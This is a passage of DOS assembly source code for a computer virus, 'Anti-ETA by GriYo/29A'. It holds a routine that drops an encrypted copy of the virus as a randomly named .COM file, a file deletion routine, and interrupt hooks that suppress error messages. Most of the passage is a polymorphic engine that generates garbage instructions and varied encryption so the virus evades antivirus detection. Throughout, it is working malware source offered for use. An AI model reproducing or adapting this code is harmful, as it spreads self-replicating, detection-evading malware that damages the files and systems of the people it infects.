db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ ID string ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

id_string db "<< Anti-ETA by GriYo/29A >>"

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Create a virus dropper in the current directory ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

drop_virus: call get_rnd


or al,al
jnz do_not_gen
mov ax,cs
mov ds,ax
mov es,ax
call hook_24h_03h
mov ax,0004h
call rand_in_range
inc ax
inc ax
mov cx,ax
mov di,offset dropper_name
push di
cld
generate_name: mov ax,0019h
call rand_in_range
add al,41h
stosb
loop generate_name
mov eax,"MOC."
mov dword ptr ds:[di],eax
mov dword ptr ds:[di+04h],00h
pop dx
mov ah,3Ch
xor cx,cx
int 03h
jc exit_generator
mov dword ptr ds:[host_type],"DROP" ; Set host type
mov word ptr ds:[delta],0100h ; Save delta offset
xchg bx,ax
push bx
mov si,inf_para_size*02h ; Allocate memory
call mem_alloc ; for a virus copy
pop bx ; and the virus body
or di,di
jz cant_drop
push bx
mov es,di
xor di,di
call gen_polymorph
add word ptr ds:[delta],di ; Save delta offset
xor si,si
mov cx,inf_byte_size
rep movsb
push di
push es
pop ds
call crypto03h ; Crypt area 03h
call crypto02h ; Crypt area 02h
call crypto01h ; Crypt area 01h
call gen_encryption
mov ah,40h ; Write virus
pop cx ; dropper
pop bx
sub dx,dx
int 03h
jc oh_shit
mov ah,2Ah ; Get current year
int 03h
mov ax,cx
sub ax,07BCh ; Years from 1980
call rand_in_range
shl al,1
mov dh,al
call get_rnd ; Get random date
and al,0FEh
mov dl,al
call rand_16 ; Get random time
and ax,7BE0h
or al,0Ah ; Mark as infected
mov cx,ax
mov ax,5701h
int 03h
oh_shit: mov ah,49h ; Free allocated
int 03h ; memory
push cs
pop ds
mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta
cant_drop: mov ah,3Eh ; Close file
int 03h
exit_generator: call free_24h_03h
do_not_gen: jmp exit21h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Make a copy of file header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

backup_header: push si
push di
push es
push ds
pop es
mov si,offset inf_header
mov di,offset old_header
mov cx,001Ch
cld
rep movsb
pop es
pop di
pop si
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Seek into file routines ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

seek_begin: xor al,al


jmp short seek_int_21h
seek_end: mov al,02h
seek_int_21h: mov ah,42h
xor cx,cx
xor dx,dx
int 03h
jc seek_error
mov word ptr cs:[file_size],ax ; Save pointer
mov word ptr cs:[file_size+02h],dx ; position
clc
ret
seek_error: stc
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Delete file routine ³
;³ On entry: ³
;³ DS:DX -> ptr to the file name to delete ³
;³ DS:SI -> ptr to directory name ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

delete_file: push ds
pop es ; Get path of next
push si
push di
mov di,offset delete_path
push di
mov bx,di
cld
copy_del_path: lodsb
stosb
cmp al,"\"
jne no_slash_here
mov bx,di
no_slash_here: or al,al
jnz copy_del_path
mov si,dx ; Now write the name
mov di,bx ; of the file to delete
copy_del_name: lodsb ; next to path
stosb
or al,al
jnz copy_del_name
mov ax,4301h ; Wipe out the file
xor cx,cx ; attribute
pop dx
int 03h

mov ah,41h ; Delete filename


int 03h
pop di
pop si
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Hook int 24h to a dummy handler and redirect int 21h over int 3 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

hook_24h_03h: push ax
push bx
push ds
push es
push cs
pop ds
mov al,03h
call get_int
mov word ptr ds:[old03h],bx
mov word ptr ds:[old03h+02h],es
mov dx,offset call21h
call set_int
mov al,24h
call get_int
mov word ptr ds:[old24h],bx
mov word ptr ds:[old24h+02h],es
mov dx,offset my24h
call set_int
pop es
pop ds
pop bx
pop ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Restore int 24h and 3 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

free_24h_03h: push ax
push ds
mov al,03h
lds dx,dword ptr cs:[old03h]
call set_int
mov al,24h
lds dx,dword ptr cs:[old24h]
call set_int
pop ds
pop ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus critical error interrupt handler (int 24h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

my24h: sti
mov al,3 ; Return error in
iret ; function

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate polymorphic encryption ³
;³ On entry: ³
;³ DS -> virus code segment ³
;³ ES:DI -> position where the engine has to put the decryptor ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_polymorph: cld
call rand_16 ; Get displacement
and al,0FEh ; Avoid odd displace
mov word ptr ds:[eng_displace],ax
call rand_16 ; Get crypt key
mov word ptr ds:[eng_crypt_key],ax
mov byte ptr ds:[eng_recursive],00h ; Reset rec. counter
cmp dword ptr ds:[host_type],".EXE" ; 1st rnd block only
jne skip_1st_block ; on EXE files
call gen_rnd_block ; Block of rand data
skip_1st_block: mov word ptr ds:[eng_entry_point],di ; Decryptor entry
mov ax,(offset end_opcodes - offset opcodes_table)/02h
call rand_in_range
add ax,ax
mov si,offset opcodes_table ; Get pointer to
add si,ax ; random reg table
lodsw
mov si,ax
call gen_garbage

; At this point,
; DS:SI -> reg opcode table+01h
;
; +00h add [bp+nn],key
; rol [bp+nn],01h
; inc [bp+nn]
; +01h sub [bp+nn],key
; +02h xor [bp+nn],key
; +03h ror [bp+nn],01h
; dec [bp+nn]
; +04h add bp,inm
; +05h sub bp,inm
; +06h inc bp
; +07h cmp bp,inm

movsb ; mov reg,imm


mov word ptr ds:[eng_init_ptr],di
xor ax,ax
stosw
call gen_garbage
mov word ptr ds:[eng_loop_point],di
call gen_garbage
mov al,2Eh ; Get segment reg
stosb
mov ax,(offset end_crypt - offset crypt_table)/02h
call rand_in_range
add ax,ax
mov bx,offset crypt_table ; Get pointer to
add bx,ax ; crypt generator
call word ptr ds:[bx] ; Gen decrypt instr
call gen_garbage
mov ax,(offset end_inc_ptr - offset inc_ptr_table)/02h
call rand_in_range
add ax,ax
mov bx,offset inc_ptr_table ; Get pointer to
add bx,ax ; inc ptr generator
call word ptr ds:[bx] ; Gen inc ptr instr
call gen_garbage
mov al,81h
mov ah,byte ptr ds:[si+07h] ; Gen cmp reg,imm
stosw
mov word ptr ds:[eng_cmp_ptr],di
xor ax,ax
stosw
mov ax,di
sub ax,word ptr ds:[eng_loop_point]
cmp ax,7Fh
jb use_jmp_short
mov ax,0074h ; Gen je label
stosw ; garbage
push di ; jmp loop_point
call gen_garbage ; garbage
mov al,0E9h ; label:
stosb
mov ax,di
sub ax,word ptr ds:[eng_loop_point]
inc ax
inc ax
neg ax
stosw
call gen_garbage
pop bx
mov ax,di
sub ax,bx
mov byte ptr es:[bx-01h],al
jmp short continue_gen
use_jmp_short: inc al
inc al
neg al
mov ah,75h
xchg ah,al
stosw ; Gen jne loop_point
continue_gen: call gen_garbage
mov al,0E9h
stosb
push di
xor ax,ax
stosw
call gen_rnd_block ; Block of rand data
pop bx
mov ax,di
sub ax,bx
dec ax
dec ax
mov word ptr es:[bx],ax
mov ax,di
mov word ptr ds:[crypt_delta],ax
add ax,word ptr ds:[delta]
sub ax,word ptr ds:[eng_displace]
mov bx,word ptr ds:[eng_init_ptr] ; Ptr start of
mov word ptr es:[bx],ax ; encrypted code...
add ax,(inf_byte_size and 0FFFEh)+02h
mov bx,word ptr ds:[eng_cmp_ptr] ; Ptr end of
mov word ptr es:[bx],ax ; encrypted code...
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Perform encryption ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_encryption: mov si,word ptr cs:[crypt_delta]


mov di,si
mov cx,(inf_byte_size+01h)/02h
mov dx,word ptr cs:[eng_crypt_key]
loop_do_crypt: lodsw
db 0EBh,00h ; Clear prefetch
crypt_reverse dw 9090h ; Crypt/decrypt
stosw
loop loop_do_crypt
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate random data block ³
;³ On entry to rnd_fill_loop: ³
;³ ES:DI -> buffer to be filled ³
;³ CX -> buffer size in bytes ³
;³ Warning: direction flag must be clear ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_rnd_block: mov ax,004Bh ; Generate a block of


call rand_in_range ; random data
add ax,0019h
mov cx,ax

rnd_fill_loop: call get_rnd


stosb
loop rnd_fill_loop
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with add instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_add: mov al,81h


mov ah,byte ptr ds:[si]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ax,word ptr ds:[eng_crypt_key] ; Key
stosw
mov ds:[crypt_reverse],0C22Bh ; sub ax,dx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with sub instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_sub: mov al,81h


mov ah,byte ptr ds:[si+01H]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ax,word ptr ds:[eng_crypt_key] ; Key
stosw
mov ds:[crypt_reverse],0C203h ; add ax,dx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with xor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_xor: mov al,81h


mov ah,byte ptr ds:[si+02h]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ax,word ptr ds:[eng_crypt_key] ; Key
stosw
mov ds:[crypt_reverse],0C233h ; xor ax,dx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with rol instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_rol: mov al,0D1h


mov ah,byte ptr ds:[si]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ds:[crypt_reverse],0C8D1h ; ror ax,dx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with ror instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_ror: mov al,0D1h


mov ah,byte ptr ds:[si+03h]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ds:[crypt_reverse],0C0D1h ; sub ax,dx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with inc instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_inc: mov al,0FFh


mov ah,byte ptr ds:[si]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ds:[crypt_reverse],9048h ; dec ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Do encryption with dec instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

crypt_dec: mov al,0FFh


mov ah,byte ptr ds:[si+03h]
stosw
mov ax,word ptr ds:[eng_displace] ; Disp
stosw
mov ds:[crypt_reverse],9040h ; inc ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0002h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_add0002h: mov al,83h


mov ah,byte ptr ds:[si+04h]
stosw
mov al,02h
stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFEh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_subFFFEh: mov al,83h


mov ah,byte ptr ds:[si+05h]
stosw
mov al,0FEh
stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_inc_inc: call gen_inc_reg


call gen_garbage
call gen_inc_reg
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ptr_inc_add: call gen_inc_reg
call gen_garbage
call gen_add_0001h
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_add_inc: call gen_add_0001h


call gen_garbage
call gen_inc_reg
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using inc reg + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_inc_sub: call gen_inc_reg


call gen_garbage
call gen_sub_FFFFh
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_sub_inc: call gen_sub_FFFFh


call gen_garbage
call gen_inc_reg
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_add_add: call gen_add_0001h


call gen_garbage
call gen_add_0001h
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_sub_sub: call gen_sub_FFFFh


call gen_garbage
call gen_sub_FFFFh
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using add reg,0001h + garbage + sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_add_sub: call gen_add_0001h


call gen_garbage
call gen_sub_FFFFh
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Inc pointer reg using sub reg,FFFFh + garbage + add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ptr_sub_add: call gen_sub_FFFFh
call gen_garbage
call gen_add_0001h
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate add reg,0001h ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_add_0001h: mov al,83h


mov ah,byte ptr ds:[si+04h]
stosw
mov al,01h
stosb
ret

